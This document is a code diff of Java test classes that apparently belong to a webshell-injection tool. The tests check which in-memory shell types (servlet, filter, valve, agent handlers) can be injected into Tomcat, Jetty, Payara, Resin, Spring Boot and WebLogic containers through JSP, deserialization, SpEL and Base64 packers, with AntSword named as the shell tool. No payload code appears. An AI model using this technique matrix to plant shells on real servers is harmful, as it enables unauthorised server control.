testShellInjectAssertOk(getUrl(), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, null); testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
} }
} }
@@ -52,7 +52,8 @@ public class Jetty61ContainerTest {
static Stream<Arguments> casesProvider() { static Stream<Arguments> casesProvider() {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Jetty75ContainerTest {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER, ShellType.JETTY_AGENT_HANDLER
ShellType.JETTY_AGENT_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Jetty76ContainerTest {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER, ShellType.JETTY_AGENT_HANDLER
ShellType.JETTY_AGENT_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Jetty81ContainerTest {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER, ShellType.JETTY_AGENT_HANDLER
ShellType.JETTY_AGENT_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -54,8 +54,7 @@ public class Jetty92ContainerTest {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER, ShellType.JETTY_AGENT_HANDLER
ShellType.JETTY_AGENT_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Jetty93ContainerTest {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER, ShellType.JETTY_AGENT_HANDLER
ShellType.JETTY_AGENT_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -63,6 +62,7 @@ public class Jetty93ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -53,8 +53,7 @@ public class Jetty94ContainerTest {
Server server = Server.Jetty; Server server = Server.Jetty;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER, ShellType.JETTY_AGENT_HANDLER
ShellType.JETTY_AGENT_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Payara5201ContainerTest {
Server server = Server.Payara; Server server = Server.Payara;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Payara520225ContainerTest {
Server server = Server.Payara; Server server = Server.Payara;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.ScriptEngine);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Payara620222ContainerTest {
Server server = Server.Payara; Server server = Server.Payara;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
@@ -54,8 +54,7 @@ public class Resin3116ContainerTest {
Server server = Server.Resin; Server server = Server.Resin;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.FILTER, ShellType.LISTENER,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN
ShellType.AGENT_FILTER_CHAIN_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Resin318ContainerTest {
Server server = Server.Resin; Server server = Server.Resin;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.FILTER, ShellType.LISTENER,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN
ShellType.AGENT_FILTER_CHAIN_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Resin4058ContainerTest {
Server server = Server.Resin; Server server = Server.Resin;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.FILTER, ShellType.LISTENER,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN
ShellType.AGENT_FILTER_CHAIN_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -53,8 +53,7 @@ public class Resin4067ContainerTest {
Server server = Server.Resin; Server server = Server.Resin;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.LISTENER, ShellType.FILTER, ShellType.LISTENER,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN
ShellType.AGENT_FILTER_CHAIN_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -54,8 +54,7 @@ public class SpringBoot1ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
); );
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -56,8 +56,7 @@ public class SpringBoot2ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
); );
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -91,9 +90,8 @@ public class SpringBoot2ContainerTest {
ShellType.VALVE, ShellType.VALVE,
ShellType.WEBSOCKET, ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE, );
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -56,8 +56,7 @@ public class SpringBoot2JettyContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
); );
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -90,8 +89,7 @@ public class SpringBoot2JettyContainerTest {
ShellType.SERVLET, ShellType.SERVLET,
ShellType.FILTER, ShellType.FILTER,
// ShellType.LISTENER, // ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER, ShellType.JETTY_AGENT_HANDLER
ShellType.JETTY_AGENT_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -56,8 +56,7 @@ public class SpringBoot2UndertowContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
); );
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -90,8 +89,7 @@ public class SpringBoot2UndertowContainerTest {
ShellType.SERVLET, ShellType.SERVLET,
ShellType.FILTER, ShellType.FILTER,
// ShellType.LISTENER, // ShellType.LISTENER,
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER, ShellType.UNDERTOW_AGENT_SERVLET_HANDLER
ShellType.UNDERTOW_AGENT_SERVLET_HANDLER_ASM
); );
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -54,8 +54,7 @@ public class SpringBoot2WarContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_INTERCEPTOR, ShellType.SPRING_WEBMVC_INTERCEPTOR,
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, // TODO: 这个地方会报奇怪的错误,需要排查 // ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET // TODO: 这个地方会报奇怪的错误,需要排查
// ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
); );
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
@@ -81,9 +80,8 @@ public class SpringBoot2WarContainerTest {
ShellType.VALVE, ShellType.VALVE,
ShellType.WEBSOCKET, ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE, );
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64); List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -54,8 +54,7 @@ public class SpringBoot3ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM
); );
List<Packers> testPackers = List.of(Packers.Base64); List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
@@ -64,6 +63,7 @@ public class SpringBoot3ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -87,10 +87,12 @@ public class SpringBoot3ContainerTest {
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_FILTER,
// ShellType.LISTENER, // ShellType.LISTENER,
ShellType.JAKARTA_VALVE, ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
); );
List<Packers> testPackers = List.of(Packers.Base64); List<Packers> testPackers = List.of(Packers.Base64);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
} }
@ParameterizedTest(name = "{0}|{1}{2}|{3}") @ParameterizedTest(name = "{0}|{1}{2}|{3}")
@@ -57,9 +57,7 @@ public class Tomcat10ContainerTest {
ShellType.JAKARTA_VALVE, ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET, ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
@@ -58,9 +58,7 @@ public class Tomcat11ContainerTest {
ShellType.JAKARTA_VALVE, ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET, ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
@@ -59,9 +59,7 @@ public class Tomcat11JRE21ContainerTest {
ShellType.JAKARTA_VALVE, ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET, ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
); );
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
@@ -56,7 +56,10 @@ public class Tomcat5ContainerTest {
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.FILTER, ShellType.FILTER,
ShellType.LISTENER, ShellType.LISTENER,
ShellType.VALVE); ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -56,9 +56,8 @@ public class Tomcat6ContainerTest {
ShellType.LISTENER, ShellType.LISTENER,
ShellType.VALVE, ShellType.VALVE,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE, );
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -57,9 +57,8 @@ public class Tomcat7ContainerTest {
ShellType.VALVE, ShellType.VALVE,
ShellType.WEBSOCKET, ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE, );
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -67,6 +66,7 @@ public class Tomcat7ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -59,9 +59,7 @@ public class Tomcat8ContainerTest {
ShellType.VALVE, ShellType.VALVE,
ShellType.WEBSOCKET, ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -69,6 +67,7 @@ public class Tomcat8ContainerTest {
@AfterAll @AfterAll
static void tearDown() { static void tearDown() {
String logs = container.getLogs(); String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
} }
@@ -57,9 +57,8 @@ public class Tomcat9ContainerTest {
ShellType.VALVE, ShellType.VALVE,
ShellType.WEBSOCKET, ShellType.WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN, ShellType.AGENT_FILTER_CHAIN,
ShellType.AGENT_FILTER_CHAIN_ASM, ShellType.CATALINA_AGENT_CONTEXT_VALVE
ShellType.CATALINA_AGENT_CONTEXT_VALVE, );
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize); List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
} }
@@ -52,15 +52,10 @@ public class WebLogic1036ContainerTest {
Server server = Server.WebLogic; Server server = Server.WebLogic;
List<String> supportedShellTypes = List.of( List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT, ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT
ShellType.WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM
); );
List<Packers> testPackers = List.of(Packers.Base64); List<Packers> testPackers = List.of(Packers.Base64);
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of( return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
